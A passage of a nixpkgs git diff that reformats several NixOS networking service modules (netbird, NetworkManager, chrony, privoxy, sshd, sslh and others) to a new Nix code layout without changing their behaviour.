+            // optionalAttrs (client.dns-resolver.address != null) {
+              CustomDNSAddress = "${client.dns-resolver.address}:${builtins.toString client.dns-resolver.port}";
+            };
           }
         )
       );
@@ -557,26 +555,25 @@ in
               ProtectSystem = "strict";
               ProtectHome = "yes";
 
-              AmbientCapabilities =
-                [
-                  # see https://man7.org/linux/man-pages/man7/capabilities.7.html
-                  # see https://docs.netbird.io/how-to/installation#running-net-bird-in-docker
-                  #
-                  # seems to work fine without CAP_SYS_ADMIN and CAP_SYS_RESOURCE
-                  # CAP_NET_BIND_SERVICE could be added to allow binding on low ports, but is not required,
-                  #  see https://github.com/netbirdio/netbird/pull/1513
+              AmbientCapabilities = [
+                # see https://man7.org/linux/man-pages/man7/capabilities.7.html
+                # see https://docs.netbird.io/how-to/installation#running-net-bird-in-docker
+                #
+                # seems to work fine without CAP_SYS_ADMIN and CAP_SYS_RESOURCE
+                # CAP_NET_BIND_SERVICE could be added to allow binding on low ports, but is not required,
+                #  see https://github.com/netbirdio/netbird/pull/1513
 
-                  # failed creating tunnel interface wt-priv: [operation not permitted
-                  "CAP_NET_ADMIN"
-                  # failed to pull up wgInterface [wt-priv]: failed to create ipv4 raw socket: socket: operation not permitted
-                  "CAP_NET_RAW"
-                ]
-                # required for eBPF filter, used to be subset of CAP_SYS_ADMIN
-                ++ optional (versionAtLeast kernel.version "5.8") "CAP_BPF"
-                ++ optional (versionOlder kernel.version "5.8") "CAP_SYS_ADMIN"
-                ++ optional (
-                  client.dns-resolver.address != null && client.dns-resolver.port < 1024
-                ) "CAP_NET_BIND_SERVICE";
+                # failed creating tunnel interface wt-priv: [operation not permitted
+                "CAP_NET_ADMIN"
+                # failed to pull up wgInterface [wt-priv]: failed to create ipv4 raw socket: socket: operation not permitted
+                "CAP_NET_RAW"
+              ]
+              # required for eBPF filter, used to be subset of CAP_SYS_ADMIN
+              ++ optional (versionAtLeast kernel.version "5.8") "CAP_BPF"
+              ++ optional (versionOlder kernel.version "5.8") "CAP_SYS_ADMIN"
+              ++ optional (
+                client.dns-resolver.address != null && client.dns-resolver.port < 1024
+              ) "CAP_NET_BIND_SERVICE";
             };
           }
         )
diff --git a/nixos/modules/services/networking/netbird/coturn.nix b/nixos/modules/services/networking/netbird/coturn.nix
index 442b2dadba2b..d7197a4ffb1f 100644
--- a/nixos/modules/services/networking/netbird/coturn.nix
+++ b/nixos/modules/services/networking/netbird/coturn.nix
@@ -104,24 +104,23 @@ in
         }
       ];
 
-      services.coturn =
-        {
-          enable = true;
+      services.coturn = {
+        enable = true;
 
-          realm = cfg.domain;
-          lt-cred-mech = true;
-          no-cli = true;
+        realm = cfg.domain;
+        lt-cred-mech = true;
+        no-cli = true;
 
-          extraConfig = ''
-            fingerprint
-            user=${cfg.user}:${if cfg.password != null then cfg.password else "@password@"}
-            no-software-attribute
-          '';
-        }
-        // (optionalAttrs cfg.useAcmeCertificates {
-          cert = "@cert@";
-          pkey = "@pkey@";
-        });
+        extraConfig = ''
+          fingerprint
+          user=${cfg.user}:${if cfg.password != null then cfg.password else "@password@"}
+          no-software-attribute
+        '';
+      }
+      // (optionalAttrs cfg.useAcmeCertificates {
+        cert = "@cert@";
+        pkey = "@pkey@";
+      });
 
       systemd.services.coturn =
         let
diff --git a/nixos/modules/services/networking/netbird/dashboard.nix b/nixos/modules/services/networking/netbird/dashboard.nix
index 8d1cbe7f6de1..d74b9a23e0b5 100644
--- a/nixos/modules/services/networking/netbird/dashboard.nix
+++ b/nixos/modules/services/networking/netbird/dashboard.nix
@@ -92,33 +92,32 @@ in
     ];
 
     services.netbird.server.dashboard = {
-      settings =
-        {
-          # Due to how the backend and frontend work this secret will be templated into the backend
-          # and then served statically from your website
-          # This enables you to login without the normally needed indirection through the backend
-          # but this also means anyone that can reach your website can
-          # fetch this secret, which is why there is no real need to put it into
-          # special options as its public anyway
-          # As far as I know leaking this secret is just
-          # an information leak as one can fetch some basic app
-          # informations from the IDP
-          # To actually do something one still needs to have login
-          # data and this secret so this being public will not
-          # suffice for anything just decreasing security
-          AUTH_CLIENT_SECRET = "";
+      settings = {
+        # Due to how the backend and frontend work this secret will be templated into the backend
+        # and then served statically from your website
+        # This enables you to login without the normally needed indirection through the backend
+        # but this also means anyone that can reach your website can
+        # fetch this secret, which is why there is no real need to put it into
+        # special options as its public anyway
+        # As far as I know leaking this secret is just
+        # an information leak as one can fetch some basic app
+        # informations from the IDP
+        # To actually do something one still needs to have login
+        # data and this secret so this being public will not
+        # suffice for anything just decreasing security
+        AUTH_CLIENT_SECRET = "";
 
-          NETBIRD_MGMT_API_ENDPOINT = cfg.managementServer;
-          NETBIRD_MGMT_GRPC_API_ENDPOINT = cfg.managementServer;
-        }
-        // (mapAttrs (_: mkDefault) {
-          # Those values have to be easily overridable
-          AUTH_AUDIENCE = "netbird"; # must be set for your devices to be able to log in
-          AUTH_CLIENT_ID = "netbird";
-          AUTH_SUPPORTED_SCOPES = "openid profile email";
-          NETBIRD_TOKEN_SOURCE = "idToken";
-          USE_AUTH0 = false;
-        });
+        NETBIRD_MGMT_API_ENDPOINT = cfg.managementServer;
+        NETBIRD_MGMT_GRPC_API_ENDPOINT = cfg.managementServer;
+      }
+      // (mapAttrs (_: mkDefault) {
+        # Those values have to be easily overridable
+        AUTH_AUDIENCE = "netbird"; # must be set for your devices to be able to log in
+        AUTH_CLIENT_ID = "netbird";
+        AUTH_SUPPORTED_SCOPES = "openid profile email";
+        NETBIRD_TOKEN_SOURCE = "idToken";
+        USE_AUTH0 = false;
+      });
 
       # The derivation containing the templated dashboard
       finalDrv =
@@ -142,7 +141,8 @@ in
                 "$NETBIRD_TOKEN_SOURCE"
                 "$USE_AUTH0"
               ];
-            } // (mapAttrs (_: toStringEnv) cfg.settings);
+            }
+            // (mapAttrs (_: toStringEnv) cfg.settings);
           }
           ''
             cp -R ${cfg.package} build
diff --git a/nixos/modules/services/networking/netbird/server.nix b/nixos/modules/services/networking/netbird/server.nix
index 5865e06f18d0..78498102a452 100644
--- a/nixos/modules/services/networking/netbird/server.nix
+++ b/nixos/modules/services/networking/netbird/server.nix
@@ -49,31 +49,30 @@ in
         managementServer = "https://${cfg.domain}";
       };
 
-      management =
-        {
-          domain = mkDefault cfg.domain;
-          enable = mkDefault cfg.enable;
-          enableNginx = mkDefault cfg.enableNginx;
-        }
-        // (optionalAttrs cfg.coturn.enable rec {
-          turnDomain = cfg.domain;
-          turnPort = config.services.coturn.tls-listening-port;
-          # We cannot merge a list of attrsets so we have to redefine the whole list
-          settings = {
-            TURNConfig.Turns = mkDefault [
-              {
-                Proto = "udp";
-                URI = "turn:${turnDomain}:${builtins.toString turnPort}";
-                Username = "netbird";
-                Password =
-                  if (cfg.coturn.password != null) then
-                    cfg.coturn.password
-                  else
-                    { _secret = cfg.coturn.passwordFile; };
-              }
-            ];
-          };
-        });
+      management = {
+        domain = mkDefault cfg.domain;
+        enable = mkDefault cfg.enable;
+        enableNginx = mkDefault cfg.enableNginx;
+      }
+      // (optionalAttrs cfg.coturn.enable rec {
+        turnDomain = cfg.domain;
+        turnPort = config.services.coturn.tls-listening-port;
+        # We cannot merge a list of attrsets so we have to redefine the whole list
+        settings = {
+          TURNConfig.Turns = mkDefault [
+            {
+              Proto = "udp";
+              URI = "turn:${turnDomain}:${builtins.toString turnPort}";
+              Username = "netbird";
+              Password =
+                if (cfg.coturn.password != null) then
+                  cfg.coturn.password
+                else
+                  { _secret = cfg.coturn.passwordFile; };
+            }
+          ];
+        };
+      });
 
       signal = {
         domain = mkDefault cfg.domain;
diff --git a/nixos/modules/services/networking/networkmanager.nix b/nixos/modules/services/networking/networkmanager.nix
index d2d49ee2eeb9..b6b9b286fab4 100644
--- a/nixos/modules/services/networking/networkmanager.nix
+++ b/nixos/modules/services/networking/networkmanager.nix
@@ -127,14 +127,13 @@ let
     '';
   };
 
-  packages =
-    [
-      cfg.package
-    ]
-    ++ cfg.plugins
-    ++ lib.optionals (!delegateWireless && !enableIwd) [
-      pkgs.wpa_supplicant
-    ];
+  packages = [
+    cfg.package
+  ]
+  ++ cfg.plugins
+  ++ lib.optionals (!delegateWireless && !enableIwd) [
+    pkgs.wpa_supplicant
+  ];
 
 in
 {
@@ -533,38 +532,37 @@ in
 
     hardware.wirelessRegulatoryDatabase = true;
 
-    environment.etc =
-      {
-        "NetworkManager/NetworkManager.conf".source = configFile;
+    environment.etc = {
+      "NetworkManager/NetworkManager.conf".source = configFile;
 
-        # The networkmanager-l2tp plugin expects /etc/ipsec.secrets to include /etc/ipsec.d/ipsec.nm-l2tp.secrets;
-        # see https://github.com/NixOS/nixpkgs/issues/64965
-        "ipsec.secrets".text = ''
-          include ipsec.d/ipsec.nm-l2tp.secrets
-        '';
-      }
-      // builtins.listToAttrs (
-        map (
-          pkg:
-          nameValuePair "NetworkManager/${pkg.networkManagerPlugin}" {
-            source = "${pkg}/lib/NetworkManager/${pkg.networkManagerPlugin}";
-          }
-        ) cfg.plugins
-      )
-      // optionalAttrs (cfg.appendNameservers != [ ] || cfg.insertNameservers != [ ]) {
-        "NetworkManager/dispatcher.d/02overridedns".source = overrideNameserversScript;
-      }
-      // listToAttrs (
-        lib.imap1 (i: s: {
-          name = "NetworkManager/dispatcher.d/${
-            dispatcherTypesSubdirMap.${s.type}
-          }03userscript${lib.fixedWidthNumber 4 i}";
-          value = {
-            mode = "0544";
-            inherit (s) source;
-          };
-        }) cfg.dispatcherScripts
-      );
+      # The networkmanager-l2tp plugin expects /etc/ipsec.secrets to include /etc/ipsec.d/ipsec.nm-l2tp.secrets;
+      # see https://github.com/NixOS/nixpkgs/issues/64965
+      "ipsec.secrets".text = ''
+        include ipsec.d/ipsec.nm-l2tp.secrets
+      '';
+    }
+    // builtins.listToAttrs (
+      map (
+        pkg:
+        nameValuePair "NetworkManager/${pkg.networkManagerPlugin}" {
+          source = "${pkg}/lib/NetworkManager/${pkg.networkManagerPlugin}";
+        }
+      ) cfg.plugins
+    )
+    // optionalAttrs (cfg.appendNameservers != [ ] || cfg.insertNameservers != [ ]) {
+      "NetworkManager/dispatcher.d/02overridedns".source = overrideNameserversScript;
+    }
+    // listToAttrs (
+      lib.imap1 (i: s: {
+        name = "NetworkManager/dispatcher.d/${
+          dispatcherTypesSubdirMap.${s.type}
+        }03userscript${lib.fixedWidthNumber 4 i}";
+        value = {
+          mode = "0544";
+          inherit (s) source;
+        };
+      }) cfg.dispatcherScripts
+    );
 
     environment.systemPackages = packages;
 
diff --git a/nixos/modules/services/networking/ntp/chrony.nix b/nixos/modules/services/networking/ntp/chrony.nix
index 3a9d911b8048..6844a4614a7e 100644
--- a/nixos/modules/services/networking/ntp/chrony.nix
+++ b/nixos/modules/services/networking/ntp/chrony.nix
@@ -36,16 +36,15 @@ let
     ${cfg.extraConfig}
   '';
 
-  chronyFlags =
-    [
-      "-n"
-      "-u"
-      "chrony"
-      "-f"
-      "${configFile}"
-    ]
-    ++ optional cfg.enableMemoryLocking "-m"
-    ++ cfg.extraFlags;
+  chronyFlags = [
+    "-n"
+    "-u"
+    "chrony"
+    "-f"
+    "${configFile}"
+  ]
+  ++ optional cfg.enableMemoryLocking "-m"
+  ++ cfg.extraFlags;
 in
 {
   options = {
@@ -208,15 +207,14 @@ in
       SYSTEMD_TIMEDATED_NTP_SERVICES = "chronyd.service";
     };
 
-    systemd.tmpfiles.rules =
-      [
-        "d ${stateDir} 0750 chrony chrony - -"
-        "f ${driftFile} 0640 chrony chrony - -"
-        "f ${keyFile} 0640 chrony chrony - -"
-      ]
-      ++ lib.optionals cfg.enableRTCTrimming [
-        "f ${rtcFile} 0640 chrony chrony - -"
-      ];
+    systemd.tmpfiles.rules = [
+      "d ${stateDir} 0750 chrony chrony - -"
+      "f ${driftFile} 0640 chrony chrony - -"
+      "f ${keyFile} 0640 chrony chrony - -"
+    ]
+    ++ lib.optionals cfg.enableRTCTrimming [
+      "f ${rtcFile} 0640 chrony chrony - -"
+    ];
 
     systemd.services.chronyd = {
       description = "chrony NTP daemon";
diff --git a/nixos/modules/services/networking/ntp/ntpd.nix b/nixos/modules/services/networking/ntp/ntpd.nix
index 6debe11753f9..071512056bf6 100644
--- a/nixos/modules/services/networking/ntp/ntpd.nix
+++ b/nixos/modules/services/networking/ntp/ntpd.nix
@@ -33,7 +33,8 @@ let
     "${configFile}"
     "-u"
     "ntp:ntp"
-  ] ++ cfg.extraFlags;
+  ]
+  ++ cfg.extraFlags;
 
 in
 
diff --git a/nixos/modules/services/networking/privoxy.nix b/nixos/modules/services/networking/privoxy.nix
index c664ac341fc1..64ceb30d0fa5 100644
--- a/nixos/modules/services/networking/privoxy.nix
+++ b/nixos/modules/services/networking/privoxy.nix
@@ -261,30 +261,30 @@ in
       }
     ];
 
-    services.privoxy.settings =
-      {
-        user-manual = "${pkgs.privoxy}/share/doc/privoxy/user-manual";
-        # This is needed for external filters
-        temporary-directory = "/tmp";
-        filterfile = [ "default.filter" ];
-        actionsfile = [
-          "match-all.action"
-          "default.action"
-        ] ++ optional cfg.inspectHttps (toString inspectAction);
-      }
-      // (optionalAttrs cfg.enableTor {
-        forward-socks5 = "/ 127.0.0.1:9063 .";
-        toggle = true;
-        enable-remote-toggle = false;
-        enable-edit-actions = false;
-        enable-remote-http-toggle = false;
-      })
-      // (optionalAttrs cfg.inspectHttps {
-        # This allows setting absolute key/crt paths
-        ca-directory = "/var/empty";
-        certificate-directory = "/run/privoxy/certs";
-        trusted-cas-file = config.security.pki.caBundle;
-      });
+    services.privoxy.settings = {
+      user-manual = "${pkgs.privoxy}/share/doc/privoxy/user-manual";
+      # This is needed for external filters
+      temporary-directory = "/tmp";
+      filterfile = [ "default.filter" ];
+      actionsfile = [
+        "match-all.action"
+        "default.action"
+      ]
+      ++ optional cfg.inspectHttps (toString inspectAction);
+    }
+    // (optionalAttrs cfg.enableTor {
+      forward-socks5 = "/ 127.0.0.1:9063 .";
+      toggle = true;
+      enable-remote-toggle = false;
+      enable-edit-actions = false;
+      enable-remote-http-toggle = false;
+    })
+    // (optionalAttrs cfg.inspectHttps {
+      # This allows setting absolute key/crt paths
+      ca-directory = "/var/empty";
+      certificate-directory = "/run/privoxy/certs";
+      trusted-cas-file = config.security.pki.caBundle;
+    });
   };
 
   imports =
diff --git a/nixos/modules/services/networking/prosody.nix b/nixos/modules/services/networking/prosody.nix
index 7bdcd6ccd7df..f4d9172bab3f 100644
--- a/nixos/modules/services/networking/prosody.nix
+++ b/nixos/modules/services/networking/prosody.nix
@@ -840,21 +840,19 @@ in
         errors = [
           {
             assertion = (builtins.length cfg.muc > 0) || !cfg.xmppComplianceSuite;
-            message =
-              ''
-                You need to setup at least a MUC domain to comply with
-                XEP-0423.
-              ''
-              + genericErrMsg;
+            message = ''
+              You need to setup at least a MUC domain to comply with
+              XEP-0423.
+            ''
+            + genericErrMsg;
           }
           {
             assertion = cfg.uploadHttp != null || cfg.httpFileShare != null || !cfg.xmppComplianceSuite;
-            message =
-              ''
-                You need to setup the http_upload or http_file_share modules through config.services.prosody.uploadHttp
-                or config.services.prosody.httpFileShare to comply with XEP-0423.
-              ''
-              + genericErrMsg;
+            message = ''
+              You need to setup the http_upload or http_file_share modules through config.services.prosody.uploadHttp
+              or config.services.prosody.httpFileShare to comply with XEP-0423.
+            ''
+            + genericErrMsg;
           }
         ];
       in
diff --git a/nixos/modules/services/networking/quassel.nix b/nixos/modules/services/networking/quassel.nix
index d699c9b6f155..df94ed381e31 100644
--- a/nixos/modules/services/networking/quassel.nix
+++ b/nixos/modules/services/networking/quassel.nix
@@ -118,10 +118,11 @@ in
       description = "Quassel IRC client daemon";
 
       wantedBy = [ "multi-user.target" ];
-      after =
-        [ "network.target" ]
-        ++ optional config.services.postgresql.enable "postgresql.service"
-        ++ optional config.services.mysql.enable "mysql.service";
+      after = [
+        "network.target"
+      ]
+      ++ optional config.services.postgresql.enable "postgresql.service"
+      ++ optional config.services.mysql.enable "mysql.service";
 
       serviceConfig = {
         ExecStart = concatStringsSep " " (
diff --git a/nixos/modules/services/networking/resilio.nix b/nixos/modules/services/networking/resilio.nix
index 78a72a8874e5..25ad4b13daf2 100644
--- a/nixos/modules/services/networking/resilio.nix
+++ b/nixos/modules/services/networking/resilio.nix
@@ -37,13 +37,12 @@ let
       }
       // optionalAttrs (cfg.directoryRoot != "") { directory_root = cfg.directoryRoot; }
       // optionalAttrs cfg.enableWebUI {
-        webui =
-          {
-            listen = "${cfg.httpListenAddr}:${toString cfg.httpListenPort}";
-          }
-          // (optionalAttrs (cfg.httpLogin != "") { login = cfg.httpLogin; })
-          // (optionalAttrs (cfg.httpPass != "") { password = cfg.httpPass; })
-          // (optionalAttrs (cfg.apiKey != "") { api_key = cfg.apiKey; });
+        webui = {
+          listen = "${cfg.httpListenAddr}:${toString cfg.httpListenPort}";
+        }
+        // (optionalAttrs (cfg.httpLogin != "") { login = cfg.httpLogin; })
+        // (optionalAttrs (cfg.httpPass != "") { password = cfg.httpPass; })
+        // (optionalAttrs (cfg.apiKey != "") { api_key = cfg.apiKey; });
       }
       // optionalAttrs (sharedFoldersRecord != [ ]) {
         shared_folders = sharedFoldersRecord;
diff --git a/nixos/modules/services/networking/searx.nix b/nixos/modules/services/networking/searx.nix
index c2ca1d28cd54..1f8d05fe2df8 100644
--- a/nixos/modules/services/networking/searx.nix
+++ b/nixos/modules/services/networking/searx.nix
@@ -236,17 +236,16 @@ in
 
     systemd.services.searx-init = {
       description = "Initialise Searx settings";
-      serviceConfig =
-        {
-          Type = "oneshot";
-          RemainAfterExit = true;
-          User = "searx";
-          RuntimeDirectory = "searx";
-          RuntimeDirectoryMode = "750";
-        }
-        // optionalAttrs (cfg.environmentFile != null) {
-          EnvironmentFile = builtins.toPath cfg.environmentFile;
-        };
+      serviceConfig = {
+        Type = "oneshot";
+        RemainAfterExit = true;
+        User = "searx";
+        RuntimeDirectory = "searx";
+        RuntimeDirectoryMode = "750";
+      }
+      // optionalAttrs (cfg.environmentFile != null) {
+        EnvironmentFile = builtins.toPath cfg.environmentFile;
+      };
       script = generateConfig;
     };
 
@@ -258,15 +257,14 @@ in
         "searx-init.service"
         "network.target"
       ];
-      serviceConfig =
-        {
-          User = "searx";
-          Group = "searx";
-          ExecStart = lib.getExe cfg.package;
-        }
-        // optionalAttrs (cfg.environmentFile != null) {
-          EnvironmentFile = builtins.toPath cfg.environmentFile;
-        };
+      serviceConfig = {
+        User = "searx";
+        Group = "searx";
+        ExecStart = lib.getExe cfg.package;
+      }
+      // optionalAttrs (cfg.environmentFile != null) {
+        EnvironmentFile = builtins.toPath cfg.environmentFile;
+      };
       environment = {
         SEARX_SETTINGS_PATH = cfg.settingsFile;
         SEARXNG_SETTINGS_PATH = cfg.settingsFile;
@@ -305,7 +303,8 @@ in
         ];
         buffer-size = 32768;
         pythonPackages = self: [ cfg.package ];
-      } // cfg.uwsgiConfig;
+      }
+      // cfg.uwsgiConfig;
     };
 
     services.redis.servers.searx = lib.mkIf cfg.redisCreateLocally {
diff --git a/nixos/modules/services/networking/shadowsocks.nix b/nixos/modules/services/networking/shadowsocks.nix
index 3cf9c61bbd8a..79d749abb9d5 100644
--- a/nixos/modules/services/networking/shadowsocks.nix
+++ b/nixos/modules/services/networking/shadowsocks.nix
@@ -10,23 +10,22 @@ with lib;
 let
   cfg = config.services.shadowsocks;
 
-  opts =
-    {
-      server = cfg.localAddress;
-      server_port = cfg.port;
-      method = cfg.encryptionMethod;
-      mode = cfg.mode;
-      user = "nobody";
-      fast_open = cfg.fastOpen;
-    }
-    // optionalAttrs (cfg.plugin != null) {
-      plugin = cfg.plugin;
-      plugin_opts = cfg.pluginOpts;
-    }
-    // optionalAttrs (cfg.password != null) {
-      password = cfg.password;
-    }
-    // cfg.extraConfig;
+  opts = {
+    server = cfg.localAddress;
+    server_port = cfg.port;
+    method = cfg.encryptionMethod;
+    mode = cfg.mode;
+    user = "nobody";
+    fast_open = cfg.fastOpen;
+  }
+  // optionalAttrs (cfg.plugin != null) {
+    plugin = cfg.plugin;
+    plugin_opts = cfg.pluginOpts;
+  }
+  // optionalAttrs (cfg.password != null) {
+    password = cfg.password;
+  }
+  // cfg.extraConfig;
 
   configFile = pkgs.writeText "shadowsocks.json" (builtins.toJSON opts);
 
@@ -170,10 +169,11 @@ in
       description = "shadowsocks-libev Daemon";
       after = [ "network.target" ];
       wantedBy = [ "multi-user.target" ];
-      path =
-        [ pkgs.shadowsocks-libev ]
-        ++ optional (cfg.plugin != null) cfg.plugin
-        ++ optional (cfg.passwordFile != null) pkgs.jq;
+      path = [
+        pkgs.shadowsocks-libev
+      ]
+      ++ optional (cfg.plugin != null) cfg.plugin
+      ++ optional (cfg.passwordFile != null) pkgs.jq;
       serviceConfig.PrivateTmp = true;
       script = ''
         ${optionalString (cfg.passwordFile != null) ''
diff --git a/nixos/modules/services/networking/shairport-sync.nix b/nixos/modules/services/networking/shairport-sync.nix
index 9cf826597d70..ca2aa156b773 100644
--- a/nixos/modules/services/networking/shairport-sync.nix
+++ b/nixos/modules/services/networking/shairport-sync.nix
@@ -131,7 +131,8 @@ in
         group = cfg.group;
         extraGroups = [
           "audio"
-        ] ++ optional (config.services.pulseaudio.enable || config.services.pipewire.pulse.enable) "pulse";
+        ]
+        ++ optional (config.services.pulseaudio.enable || config.services.pipewire.pulse.enable) "pulse";
       };
       groups.${cfg.group} = { };
     };
diff --git a/nixos/modules/services/networking/spacecookie.nix b/nixos/modules/services/networking/spacecookie.nix
index 9bf62ca53e02..9b928f39029c 100644
--- a/nixos/modules/services/networking/spacecookie.nix
+++ b/nixos/modules/services/networking/spacecookie.nix
@@ -14,7 +14,8 @@ let
     listen = {
       inherit (cfg) port;
     };
-  } // cfg.settings;
+  }
+  // cfg.settings;
 
   format = pkgs.formats.json { };
 
diff --git a/nixos/modules/services/networking/ssh/sshd.nix b/nixos/modules/services/networking/ssh/sshd.nix
index b53af1dbdf71..ba232ef2744f 100644
--- a/nixos/modules/services/networking/ssh/sshd.nix
+++ b/nixos/modules/services/networking/ssh/sshd.nix
@@ -880,54 +880,53 @@ in
       )
     ];
 
-    assertions =
-      [
+    assertions = [
+      {
+        assertion = if cfg.settings.X11Forwarding then cfgc.setXAuthLocation else true;
+        message = "cannot enable X11 forwarding without setting xauth location";
+      }
+      {
+        assertion =
+          (builtins.match "(.*\n)?(\t )*[Kk][Ee][Rr][Bb][Ee][Rr][Oo][Ss][Aa][Uu][Tt][Hh][Ee][Nn][Tt][Ii][Cc][Aa][Tt][Ii][Oo][Nn][ |\t|=|\"]+yes.*" "${configFile}\n${cfg.extraConfig}")
+          != null
+          -> cfgc.package.withKerberos;
+        message = "cannot enable Kerberos authentication without using a package with Kerberos support";
+      }
+      {
+        assertion =
+          (builtins.match "(.*\n)?(\t )*[Gg][Ss][Ss][Aa][Pp][Ii][Aa][Uu][Tt][Hh][Ee][Nn][Tt][Ii][Cc][Aa][Tt][Ii][Oo][Nn][ |\t|=|\"]+yes.*" "${configFile}\n${cfg.extraConfig}")
+          != null
+          -> cfgc.package.withKerberos;
+        message = "cannot enable GSSAPI authentication without using a package with Kerberos support";
+      }
+      (
+        let
+          duplicates =
+            # Filter out the groups with more than 1 element
+            lib.filter (l: lib.length l > 1) (
+              # Grab the groups, we don't care about the group identifiers
+              lib.attrValues (
+                # Group the settings that are the same in lower case
+                lib.groupBy lib.strings.toLower (lib.attrNames cfg.settings)
+              )
+            );
+          formattedDuplicates = lib.concatMapStringsSep ", " (
+            dupl: "(${lib.concatStringsSep ", " dupl})"
+          ) duplicates;
+        in
         {
-          assertion = if cfg.settings.X11Forwarding then cfgc.setXAuthLocation else true;
-          message = "cannot enable X11 forwarding without setting xauth location";
+          assertion = lib.length duplicates == 0;
+          message = ''Duplicate sshd config key; does your capitalization match the option's? Duplicate keys: ${formattedDuplicates}'';
         }
-        {
-          assertion =
-            (builtins.match "(.*\n)?(\t )*[Kk][Ee][Rr][Bb][Ee][Rr][Oo][Ss][Aa][Uu][Tt][Hh][Ee][Nn][Tt][Ii][Cc][Aa][Tt][Ii][Oo][Nn][ |\t|=|\"]+yes.*" "${configFile}\n${cfg.extraConfig}")
-            != null
-            -> cfgc.package.withKerberos;
-          message = "cannot enable Kerberos authentication without using a package with Kerberos support";
-        }
-        {
-          assertion =
-            (builtins.match "(.*\n)?(\t )*[Gg][Ss][Ss][Aa][Pp][Ii][Aa][Uu][Tt][Hh][Ee][Nn][Tt][Ii][Cc][Aa][Tt][Ii][Oo][Nn][ |\t|=|\"]+yes.*" "${configFile}\n${cfg.extraConfig}")
-            != null
-            -> cfgc.package.withKerberos;
-          message = "cannot enable GSSAPI authentication without using a package with Kerberos support";
-        }
-        (
-          let
-            duplicates =
-              # Filter out the groups with more than 1 element
-              lib.filter (l: lib.length l > 1) (
-                # Grab the groups, we don't care about the group identifiers
-                lib.attrValues (
-                  # Group the settings that are the same in lower case
-                  lib.groupBy lib.strings.toLower (lib.attrNames cfg.settings)
-                )
-              );
-            formattedDuplicates = lib.concatMapStringsSep ", " (
-              dupl: "(${lib.concatStringsSep ", " dupl})"
-            ) duplicates;
-          in
-          {
-            assertion = lib.length duplicates == 0;
-            message = ''Duplicate sshd config key; does your capitalization match the option's? Duplicate keys: ${formattedDuplicates}'';
-          }
-        )
-      ]
-      ++ lib.forEach cfg.listenAddresses (
-        { addr, ... }:
-        {
-          assertion = addr != null;
-          message = "addr must be specified in each listenAddresses entry";
-        }
-      );
+      )
+    ]
+    ++ lib.forEach cfg.listenAddresses (
+      { addr, ... }:
+      {
+        assertion = addr != null;
+        message = "addr must be specified in each listenAddresses entry";
+      }
+    );
   };
 
 }
diff --git a/nixos/modules/services/networking/sslh.nix b/nixos/modules/services/networking/sslh.nix
index b96db2dbde8f..2aa49a742ecb 100644
--- a/nixos/modules/services/networking/sslh.nix
+++ b/nixos/modules/services/networking/sslh.nix
@@ -277,50 +277,48 @@ in
             pkgs.procps
           ];
 
-          preStart =
-            ''
-              # Cleanup old iptables entries which might be still there
-              ${concatMapStringsSep "\n" (
-                { table, command }: "while iptables -w -t ${table} -D ${command} 2>/dev/null; do echo; done"
-              ) iptablesCommands}
-              ${concatMapStringsSep "\n" (
-                { table, command }: "iptables -w -t ${table} -A ${command}"
-              ) iptablesCommands}
+          preStart = ''
+            # Cleanup old iptables entries which might be still there
+            ${concatMapStringsSep "\n" (
+              { table, command }: "while iptables -w -t ${table} -D ${command} 2>/dev/null; do echo; done"
+            ) iptablesCommands}
+            ${concatMapStringsSep "\n" (
+              { table, command }: "iptables -w -t ${table} -A ${command}"
+            ) iptablesCommands}
 
-              # Configure routing for those marked packets
-              ip rule  add fwmark 0x2 lookup 100
-              ip route add local 0.0.0.0/0 dev lo table 100
+            # Configure routing for those marked packets
+            ip rule  add fwmark 0x2 lookup 100
+            ip route add local 0.0.0.0/0 dev lo table 100
 
-            ''
-            + optionalString config.networking.enableIPv6 ''
-              ${concatMapStringsSep "\n" (
-                { table, command }: "while ip6tables -w -t ${table} -D ${command} 2>/dev/null; do echo; done"
-              ) ip6tablesCommands}
-              ${concatMapStringsSep "\n" (
-                { table, command }: "ip6tables -w -t ${table} -A ${command}"
-              ) ip6tablesCommands}
+          ''
+          + optionalString config.networking.enableIPv6 ''
+            ${concatMapStringsSep "\n" (
+              { table, command }: "while ip6tables -w -t ${table} -D ${command} 2>/dev/null; do echo; done"
+            ) ip6tablesCommands}
+            ${concatMapStringsSep "\n" (
+              { table, command }: "ip6tables -w -t ${table} -A ${command}"
+            ) ip6tablesCommands}
 
-              ip -6 rule  add fwmark 0x2 lookup 100
-              ip -6 route add local ::/0 dev lo table 100
-            '';
+            ip -6 rule  add fwmark 0x2 lookup 100
+            ip -6 route add local ::/0 dev lo table 100
+          '';
 
-          postStop =
-            ''
-              ${concatMapStringsSep "\n" (
-                { table, command }: "iptables -w -t ${table} -D ${command}"
-              ) iptablesCommands}
+          postStop = ''
+            ${concatMapStringsSep "\n" (
+              { table, command }: "iptables -w -t ${table} -D ${command}"
+            ) iptablesCommands}
 
-              ip rule  del fwmark 0x2 lookup 100
-              ip route del local 0.0.0.0/0 dev lo table 100
-            ''
-            + optionalString config.networking.enableIPv6 ''
-              ${concatMapStringsSep "\n" (
-                { table, command }: "ip6tables -w -t ${table} -D ${command}"
-              ) ip6tablesCommands}
+            ip rule  del fwmark 0x2 lookup 100
+            ip route del local 0.0.0.0/0 dev lo table 100
+          ''
+          + optionalString config.networking.enableIPv6 ''
+            ${concatMapStringsSep "\n" (
+              { table, command }: "ip6tables -w -t ${table} -D ${command}"
+            ) ip6tablesCommands}
 
-              ip -6 rule  del fwmark 0x2 lookup 100
-              ip -6 route del local ::/0 dev lo table 100
-            '';
+            ip -6 rule  del fwmark 0x2 lookup 100
+            ip -6 route del local ::/0 dev lo table 100
+          '';
         };
     })
   ];
diff --git a/nixos/modules/services/networking/stubby.nix b/nixos/modules/services/networking/stubby.nix
index 0aec5c402479..68b8160597a4 100644
--- a/nixos/modules/services/networking/stubby.nix
+++ b/nixos/modules/services/networking/stubby.nix
@@ -13,14 +13,14 @@ let
   confFile = settingsFormat.generate "stubby.yml" cfg.settings;
 in
 {
-  imports =
-    [
-      (mkRemovedOptionModule [
-        "stubby"
-        "debugLogging"
-      ] "Use services.stubby.logLevel = \"debug\"; instead.")
-    ]
-    ++ map
+  imports = [
+    (mkRemovedOptionModule [
+      "stubby"
+      "debugLogging"
+    ] "Use services.stubby.logLevel = \"debug\"; instead.")
+  ]
+  ++
+    map
       (
         x:
         (mkRemovedOptionModule [
diff --git a/nixos/modules/services/networking/supybot.nix b/nixos/modules/services/networking/supybot.nix
index abde8bffe8b4..f05e1fe30112 100644
--- a/nixos/modules/services/networking/supybot.nix
